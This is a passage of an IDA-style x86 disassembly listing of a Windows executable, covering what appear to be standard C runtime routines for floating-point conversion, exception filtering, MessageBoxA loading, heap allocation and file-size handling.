loc_424B00:				; CODE XREF: sub_424AE8+9j
		xor	eax, eax
		retn
sub_424AE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B03	proc near		; CODE XREF: sub_424B90+C0p
					; sub_424B90+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi


loc_424B39:				; CODE XREF: sub_424B03+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424B39
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2


loc_424B6B:				; CODE XREF: sub_424B03+86j
		cmp	ebx, edi
		jl	short loc_424B7E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424B85
; ---------------------------------------------------------------------------


loc_424B7E:				; CODE XREF: sub_424B03+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0


loc_424B85:				; CODE XREF: sub_424B03+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_424B6B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B03	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424B90	proc near		; CODE XREF: sub_424CFC+Dp
					; sub_424D12+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_424BFD
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_424AE8
		test	eax, eax
		pop	ecx
		jnz	loc_424CBC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx


loc_424BF5:				; CODE XREF: sub_424B90+E4j
		push	2


loc_424BF7:				; CODE XREF: sub_424B90+110j
		pop	eax
		jmp	loc_424CBE
; ---------------------------------------------------------------------------


loc_424BFD:				; CODE XREF: sub_424B90+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_424AC1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		add	esp, 10h
		test	eax, eax
		jz	short loc_424C1E
		inc	ebx


loc_424C1E:				; CODE XREF: sub_424B90+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424C36
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		pop	ecx
		jmp	short loc_424C72
; ---------------------------------------------------------------------------


loc_424C36:				; CODE XREF: sub_424B90+98j
		cmp	ebx, eax
		jg	short loc_424C79
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424AC1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_424B03
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424A35
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		add	esp, 20h


loc_424C72:				; CODE XREF: sub_424B90+A4j
		xor	esi, esi
		jmp	loc_424BF5
; ---------------------------------------------------------------------------


loc_424C79:				; CODE XREF: sub_424B90+A8j
		cmp	ebx, [edi]
		jl	short loc_424CA5
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424ADC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424B03
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_424BF7
; ---------------------------------------------------------------------------


loc_424CA5:				; CODE XREF: sub_424B90+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_424B03
		pop	ecx
		pop	ecx


loc_424CBC:				; CODE XREF: sub_424B90+55j
		xor	eax, eax


loc_424CBE:				; CODE XREF: sub_424B90+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_424CED
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_424CF7
; ---------------------------------------------------------------------------


loc_424CED:				; CODE XREF: sub_424B90+14Ej
		cmp	edi, 20h
		jnz	short loc_424CF7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_424CF7:				; CODE XREF: sub_424B90+15Bj
					; sub_424B90+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424B90	endp


; =============== S U B	R O U T	I N E =======================================



sub_424CFC	proc near		; CODE XREF: sub_424D28+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D808
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424CFC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424D12	proc near		; CODE XREF: sub_424D55+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43D820
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424B90
		add	esp, 0Ch
		retn
sub_424D12	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D28	proc near		; CODE XREF: sub_42223B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424CFC
		add	esp, 24h
		leave
		retn
sub_424D28	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D55	proc near		; CODE XREF: sub_42223B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4254A2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424D12
		add	esp, 24h
		leave
		retn
sub_424D55	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424D82	proc near		; CODE XREF: sub_422279+65p
					; sub_42237D+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_424DBF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_424DA5:				; CODE XREF: sub_424D82+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_424DB1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_424DB4
; ---------------------------------------------------------------------------


loc_424DB1:				; CODE XREF: sub_424D82+27j
		push	30h
		pop	edx


loc_424DB4:				; CODE XREF: sub_424D82+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424DA5
		mov	edx, [ebp+arg_8]


loc_424DBF:				; CODE XREF: sub_424D82+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_424DD8
		cmp	byte ptr [ecx],	35h
		jl	short loc_424DD8


loc_424DCB:				; CODE XREF: sub_424D82+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_424DD6
		mov	byte ptr [eax],	30h
		jmp	short loc_424DCB
; ---------------------------------------------------------------------------


loc_424DD6:				; CODE XREF: sub_424D82+4Dj
		inc	byte ptr [eax]


loc_424DD8:				; CODE XREF: sub_424D82+42j
					; sub_424D82+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_424DE2
		inc	dword ptr [edx+4]
		jmp	short loc_424DF4
; ---------------------------------------------------------------------------


loc_424DE2:				; CODE XREF: sub_424D82+59j
		push	edi
		call	sub_41B9C0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41D670
		add	esp, 10h


loc_424DF4:				; CODE XREF: sub_424D82+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424D82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424DF9	proc near		; CODE XREF: sub_422279+3Fp
					; sub_42237D+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424E5D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4DBFC8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_425973
		mov	dword_4DBFF0, eax
		add	esp, 18h
		movsx	eax, byte_4DBFCA
		mov	dword_4DBFE8, eax
		pop	edi
		movsx	eax, word_4DBFC8
		mov	dword_4DBFEC, eax
		mov	dword_4DBFF4, offset dword_4DBFCC
		mov	eax, offset dword_4DBFE8
		pop	esi
		leave
		retn
sub_424DF9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424E5D	proc near		; CODE XREF: sub_424DF9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_424EAB
		cmp	ebx, edi
		jz	short loc_424EA4
		lea	edi, [ecx+3C00h]
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EA4:				; CODE XREF: sub_424E5D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_424ECC
; ---------------------------------------------------------------------------


loc_424EAB:				; CODE XREF: sub_424E5D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_424EC3
		cmp	edx, ebx
		jnz	short loc_424EC3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_424F0E
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E5D+52j
					; sub_424E5D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_424ECC:				; CODE XREF: sub_424E5D+45j
					; sub_424E5D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_424EE4:				; CODE XREF: sub_424E5D+A6j
		test	ecx, esi
		jnz	short loc_424F05
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_424EE4
; ---------------------------------------------------------------------------


loc_424F05:				; CODE XREF: sub_424E5D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_424F0E:				; CODE XREF: sub_424E5D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424E5D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41E2C9
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_424F1C	proc near		; DATA XREF: ___:0043D448o
					; ___:0043DB88o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_424F3F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_424F3F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_424F3F
		jmp	sub_422DFC
; ---------------------------------------------------------------------------


loc_424F3F:				; CODE XREF: sub_424F1C+Dj
					; sub_424F1C+13j ...
		mov	eax, dword_4DBFF8
		test	eax, eax
		jz	short loc_424F5C
		push	eax
		call	sub_424FB8
		test	eax, eax
		pop	ecx
		jz	short loc_424F5C
		push	esi
		call	dword_4DBFF8
		jmp	short loc_424F5E
; ---------------------------------------------------------------------------


loc_424F5C:				; CODE XREF: sub_424F1C+2Aj
					; sub_424F1C+35j
		xor	eax, eax


loc_424F5E:				; CODE XREF: sub_424F1C+3Ej
		pop	esi
		retn	4
sub_424F1C	endp

; ---------------------------------------------------------------------------
word_424F62	dw 1C68h		; DATA XREF: ___:00429024o
; ---------------------------------------------------------------------------
		dec	edi
		inc	edx
		add	[eax+1DC002E8h], dl
		add	ah, byte ptr dword_4DBFF8[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424F73	db 0FFh			; DATA XREF: ___:0042903Co
		dd 4DBFF835h, 0F0E89000h, 0C3021DBFh

; =============== S U B	R O U T	I N E =======================================



sub_424F80	proc near		; CODE XREF: sub_422651+6Bp
					; sub_422B62+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600AB4h
		test	eax, eax
		jz	short loc_424F98
		xor	esi, esi


loc_424F98:				; CODE XREF: sub_424F80+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F80	endp


; =============== S U B	R O U T	I N E =======================================



sub_424F9C	proc near		; CODE XREF: sub_422B62+73p
					; sub_422B62+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2670862h
		test	eax, eax
		jz	short loc_424FB4
		xor	esi, esi


loc_424FB4:				; CODE XREF: sub_424F9C+14j
		mov	eax, esi
		pop	esi
		retn
sub_424F9C	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FB8	proc near		; CODE XREF: sub_422B62+15Bp
					; sub_424F1C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600A5Eh
		test	eax, eax
		jz	short loc_424FCC
		xor	esi, esi


loc_424FCC:				; CODE XREF: sub_424FB8+10j
		mov	eax, esi
		pop	esi
		retn
sub_424FB8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_422DFC


loc_424FD0:				; CODE XREF: sub_422DFC:loc_422E4Dj
		push	0Ah
		call	sub_423DD1
		push	16h
		call	sub_425C06
		pop	ecx
		pop	ecx
		push	3
		call	sub_41C1A2
; END OF FUNCTION CHUNK	FOR sub_422DFC

; =============== S U B	R O U T	I N E =======================================



sub_424FE7	proc near		; CODE XREF: ___:004236A6p

arg_0		= dword	ptr  4

		push	4
		push	0
		push	[esp+8+arg_0]
		call	sub_424FF8
		add	esp, 0Ch
		retn
sub_424FE7	endp


; =============== S U B	R O U T	I N E =======================================



sub_424FF8	proc near		; CODE XREF: sub_424FE7+8p

arg_0		= byte ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		movzx	eax, [esp+arg_0]
		mov	cl, [esp+arg_8]
		test	byte_4DD281[eax], cl
		jnz	short loc_425025
		cmp	[esp+arg_4], 0
		jz	short loc_42501E
		movzx	eax, word_43CE92[eax*2]
		and	eax, [esp+arg_4]
		jmp	short loc_425020
; ---------------------------------------------------------------------------


loc_42501E:				; CODE XREF: sub_424FF8+16j
		xor	eax, eax


loc_425020:				; CODE XREF: sub_424FF8+24j
		test	eax, eax
		jnz	short loc_425025
		retn
; ---------------------------------------------------------------------------


loc_425025:				; CODE XREF: sub_424FF8+Fj
					; sub_424FF8+2Aj
		push	1
		pop	eax
		retn
sub_424FF8	endp


; =============== S U B	R O U T	I N E =======================================



sub_425029	proc near		; CODE XREF: sub_423DD1+11Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		xor	ebx, ebx
		cmp	dword_4DBFFC, ebx
		push	esi
		push	edi
		jnz	short loc_425078
		push	offset aUser32_dll ; "user32.dll"
		call	near ptr 26C0BF1h
		nop
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4250AE
		mov	esi, dword_4270C4
		push	offset aMessageboxa ; "MessageBoxA"
		push	edi
		call	esi
		test	eax, eax
		mov	dword_4DBFFC, eax
		jz	short loc_4250AE
		push	offset aGetactivewindo ; "GetActiveWindow"
		push	edi
		call	esi
		push	offset aGetlastactivep ; "GetLastActivePopup"
		push	edi
		mov	dword_4DC000, eax
		call	esi
		mov	dword_4DC004, eax


loc_425078:				; CODE XREF: sub_425029+Bj
		mov	eax, dword_4DC000
		test	eax, eax
		jz	short loc_425097
		call	eax
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_425097
		mov	eax, dword_4DC004
		test	eax, eax
		jz	short loc_425097
		push	ebx
		call	eax
		mov	ebx, eax


loc_425097:				; CODE XREF: sub_425029+56j
					; sub_425029+5Ej ...
		push	[esp+0Ch+arg_8]
		push	[esp+10h+arg_4]
		push	[esp+14h+arg_0]
		push	ebx
		call	dword_4DBFFC


loc_4250AA:				; CODE XREF: sub_425029+87j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4250AE:				; CODE XREF: sub_425029+1Cj
					; sub_425029+33j
		xor	eax, eax
		jmp	short loc_4250AA
sub_425029	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4250B2	proc near		; CODE XREF: sub_42413E+22p
					; sub_42413E+3Bp

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		cmp	esi, 0FFFFFFE0h
		push	edi
		mov	[ebp+arg_0], esi
		ja	short loc_4250D3
		test	esi, esi
		jnz	short loc_4250CD
		push	1
		pop	esi


loc_4250CD:				; CODE XREF: sub_4250B2+16j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_4250D3:				; CODE XREF: sub_4250B2+12j
					; sub_4250B2+94j
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_425132
		mov	eax, dword_4DD3A8
		cmp	eax, 3
		jnz	short loc_4250FE
		mov	eax, [ebp+arg_0]
		cmp	eax, dword_4DD3A0
		ja	short loc_42511D
		push	eax
		call	sub_41EA6B
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_425148
		jmp	short loc_42511D
; ---------------------------------------------------------------------------


loc_4250FE:				; CODE XREF: sub_4250B2+30j
		cmp	eax, 2
		jnz	short loc_42511D
		cmp	esi, dword_43CE84
		ja	short loc_42511D
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41F50E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jnz	short loc_42515C


loc_42511D:				; CODE XREF: sub_4250B2+3Bj
					; sub_4250B2+4Aj ...
		push	esi
		push	8
		push	dword_4DD3A4
		nop
		call	near ptr 2820000h
		mov	edi, eax
		test	edi, edi
		jnz	short loc_425156


loc_425132:				; CODE XREF: sub_4250B2+26j
		cmp	dword_4DBE58, 0
		jz	short loc_425156
		push	esi
		call	sub_41FBB2
		test	eax, eax
		pop	ecx
		jz	short loc_42515F
		jmp	short loc_4250D3
; ---------------------------------------------------------------------------


loc_425148:				; CODE XREF: sub_4250B2+48j
		push	[ebp+arg_0]


loc_42514B:				; CODE XREF: sub_4250B2+ABj
		push	0
		push	edi
		call	sub_41BF70
		add	esp, 0Ch


loc_425156:				; CODE XREF: sub_4250B2+7Ej
					; sub_4250B2+87j
		mov	eax, edi


loc_425158:				; CODE XREF: sub_4250B2+AFj
		pop	edi
		pop	esi
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_42515C:				; CODE XREF: sub_4250B2+69j
		push	esi
		jmp	short loc_42514B
; ---------------------------------------------------------------------------


loc_42515F:				; CODE XREF: sub_4250B2+92j
		xor	eax, eax
		jmp	short loc_425158
sub_4250B2	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241E3


loc_425163:				; CODE XREF: sub_4241E3+Ej
		push	esi
		push	edi
		push	3
		xor	edi, edi
		pop	esi
		cmp	dword_4DD040, esi
		jle	short loc_4251B6


loc_425172:				; CODE XREF: sub_4241E3+FD1j
		mov	eax, dword_4DC02C
		mov	eax, [eax+esi*4]
		test	eax, eax
		jz	short loc_4251AD
		test	byte ptr [eax+0Ch], 83h
		jz	short loc_425191
		push	eax
		call	sub_41BA3B
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_425191
		inc	edi


loc_425191:				; CODE XREF: sub_4241E3+F9Fj
					; sub_4241E3+FABj
		cmp	esi, 14h
		jl	short loc_4251AD
		mov	eax, dword_4DC02C
		push	dword ptr [eax+esi*4]
		call	sub_41BA91
		mov	eax, dword_4DC02C
		pop	ecx
		and	dword ptr [eax+esi*4], 0


loc_4251AD:				; CODE XREF: sub_4241E3+F99j
					; sub_4241E3+FB1j
		inc	esi
		cmp	esi, dword_4DD040
		jl	short loc_425172


loc_4251B6:				; CODE XREF: sub_4241E3+F8Dj
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; END OF FUNCTION CHUNK	FOR sub_4241E3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4251BB	proc near		; CODE XREF: sub_42423B+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_41C500
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, dword_4DD160
		jnb	loc_4252F0
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD060[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_4252F0
		push	1
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_4252FA
		push	2
		push	esi
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_4252FA
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_42529D
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_41BF70


loc_425240:				; DATA XREF: ___:00438CC0o
		push	8000h
		push	ebx
		call	sub_425D78
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_425251:				; CODE XREF: sub_4251BB+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_42525C
		mov	eax, edi


loc_42525C:				; CODE XREF: sub_4251BB+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_4230FB
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_42527A
		sub	edi, eax
		test	edi, edi
		jle	short loc_425290
		jmp	short loc_425251
; ---------------------------------------------------------------------------


loc_42527A:				; CODE XREF: sub_4251BB+B5j
		cmp	dword_4DBDF0, 5
		jnz	short loc_42528D
		mov	dword_4DBDEC, 0Dh


loc_42528D:				; CODE XREF: sub_4251BB+C6j
		or	esi, 0FFFFFFFFh


loc_425290:				; CODE XREF: sub_4251BB+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_425D78
		pop	ecx
		pop	ecx
		jmp	short loc_4252DD
; ---------------------------------------------------------------------------


loc_42529D:				; CODE XREF: sub_4251BB+71j
		jge	short loc_4252DD
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_422F09
		push	ebx
		call	sub_4240AA
		add	esp, 10h
		push	eax
		nop
		call	near ptr 2600000h
		mov	esi, eax
		neg	esi
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4252DD
		mov	dword_4DBDEC, 0Dh
		nop
		call	near ptr 26A0CACh
		mov	dword_4DBDF0, eax


loc_4252DD:				; CODE XREF: sub_4251BB+E0j
					; sub_4251BB:loc_42529Dj ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_422F09
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_4252FD
; ---------------------------------------------------------------------------


loc_4252F0:				; CODE XREF: sub_4251BB+1Aj
					; sub_4251BB+36j
		mov	dword_4DBDEC, 9


loc_4252FA:				; CODE XREF: sub_4251BB+4Ej
					; sub_4251BB+63j
		or	eax, 0FFFFFFFFh


loc_4252FD:				; CODE XREF: sub_4251BB+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_4251BB	endp


; =============== S U B	R O U T	I N E =======================================



sub_425301	proc near		; CODE XREF: sub_4249DF+2Bp
					; sub_4249DF+42p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		lea	ecx, [edx+esi]
		cmp	ecx, edx
		jb	short loc_425317
		cmp	ecx, esi
		jnb	short loc_42531A


loc_425317:				; CODE XREF: sub_425301+10j
		push	1
		pop	eax


loc_42531A:				; CODE XREF: sub_425301+14j
		mov	edx, [esp+4+arg_8]
		pop	esi
		mov	[edx], ecx
		retn
sub_425301	endp


; =============== S U B	R O U T	I N E =======================================



sub_425322	proc near		; CODE XREF: sub_4253DB+40p
					; sub_4253DB+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		push	esi
		push	dword ptr [edi]
		push	dword ptr [esi]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		lea	eax, [esi+4]
		push	eax
		push	1
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425354
		inc	dword ptr [esi+8]


loc_425354:				; CODE XREF: sub_425322+19j
					; sub_425322+2Dj
		lea	eax, [esi+4]
		push	eax
		push	dword ptr [edi+4]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_42536C
		inc	dword ptr [esi+8]


loc_42536C:				; CODE XREF: sub_425322+45j
		lea	eax, [esi+8]
		push	eax
		push	dword ptr [edi+8]
		push	dword ptr [eax]
		call	sub_425301
		add	esp, 0Ch
		pop	edi
		pop	esi
		retn
sub_425322	endp


; =============== S U B	R O U T	I N E =======================================



sub_425380	proc near		; CODE XREF: sub_4253DB+30p
					; sub_4253DB+36p ...

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		push	edi
